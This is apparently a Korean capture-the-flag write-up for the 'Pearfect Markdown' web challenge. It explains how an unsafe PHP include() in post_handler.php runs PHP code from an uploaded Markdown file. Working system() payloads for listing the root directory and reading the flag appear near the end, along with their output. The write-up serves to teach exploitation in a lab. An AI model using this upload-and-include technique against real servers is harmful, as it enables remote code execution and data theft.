Pearfect Markdown


소스코드

index.php

  • 메인 페이지(index.php)에 접속하면, 아래와 같은 기능들을 확인할 수 있습니다.
    • (1) 업로드 파일 선택 기능
    • (2) 파일 업로드 기능
    • (3) 업로드 파일(MD) 예시 미리보기
    • (4) 업로드 된 파일 리스트

edit.php

  • 페이지 최하단에 있던 “example.md” 파일을 클릭하면 파일의 소스코드를 확인할 수 있고 수정도 가능합니다.
    • 업로드 파일 조회 시에는 /edit.php?file={파일명} 의 구조로 동작하고 있네요.

  • 아래 코드는 메인페이지(/)로 접근했을 때, Uploded Files 리스트를 보여주도록 하는 코드입니다.
    • uploads/ 경로에 업로드 된 파일을 리스팅하고, 앵커 태그로 파일 경로와 파일명을 맵핑하는 역할을 합니다.

  • 다음으로는 Example Markdown Preview 부분을 확인하겠습니다.
  • 인덱스 페이지에서는 마크다운 예시를 가져와 사용하고 있었는데, 아래가 거기에 해당하는 코드입니다.
    • /post_handler.php 경로로 GET 요청을 보낼 때, file 파라미터가 없으면 “example.md” 파일이 사용되고 함께 전달한 파일명이 있으면 그 파일명을 출력하도록 하고 있습니다.
  • 그런데 여기서 파일을 가져와서 화면에 띄워줄 때, include($path) 함수를 사용하고 있습니다.
    • 이 함수는 PHP에서 LFI/RFI를 유발하는 대표적인 함수이기 때문에 확인을 해봐야 합니다.

  • LFI 취약점 확인을 위해서 테스트용 MD 파일을 업로드 하고 확인해보겠습니다.

  • 아래와 같이 조금 전 업로드 한 파일을 반환하도록 요청을 보내면 파일에 저장됐던 PHP 코드가 실행되네요.
    • /post_handler.php?file=TEST1122.md

  • disable_functions 부분을 살펴보면, 사용 불가하도록 설정된 함수는 없었습니다.
  • 별도의 우회 과정없이 system() 함수를 이용하면 RCE를 수행할 수 있겠네요.

EXPLOIT

  • “TEST1122.md”, (파일내용) <?php system('ls -alh /') ?>
total 84K 
dr-xr-xr-x 1 root root 4.0K Nov 22 05:12 . 
dr-xr-xr-x 1 root root 4.0K Nov 22 05:12 .. 
drwxr-xr-x 1 root root 4.0K Nov 15 2022 bin 
drwxr-xr-x 2 root root 4.0K Sep 3 2022 boot 
drwxr-xr-x 5 root root 340 Nov 22 05:12 dev 
drwxr-xr-x 1 root root 4.0K Nov 22 05:12 etc 
drwxr-xr-x 2 root root 4.0K Sep 3 2022 home 
drwxr-xr-x 1 root root 4.0K Nov 15 2022 lib 
drwxr-xr-x 2 root root 4.0K Nov 14 2022 lib64 
drwxr-xr-x 2 root root 4.0K Nov 14 2022 media 
drwxr-xr-x 2 root root 4.0K Nov 14 2022 mnt 
drwxr-xr-x 2 root root 4.0K Nov 14 2022 opt 
dr-xr-xr-x 112 root root 0 Nov 22 05:12 proc 
-rw-r--r-- 1 root root 68 Jan 31 2025 qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag 
drwx------ 1 root root 4.0K Nov 15 2022 root 
drwxr-xr-x 1 root root 4.0K Jan 31 2025 run 
drwxr-xr-x 1 root root 4.0K Nov 15 2022 sbin 
drwxr-xr-x 2 root root 4.0K Nov 14 2022 srv 
dr-xr-xr-x 11 root root 0 Nov 22 05:25 sys 
drwxrwxrwt 1 root root 4.0K Nov 22 05:14 tmp 
drwxr-xr-x 1 root root 4.0K Nov 14 2022 usr 
drwxr-xr-x 1 root root 4.0K Nov 15 2022 var


  • “TEST1122.md”, (파일내용) <?php system('cat /qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag') ?>
    • 요로코롬 플래그 확인이 가능합니다.
DH{9a...07}


🐛.. 🐛.. 🐛..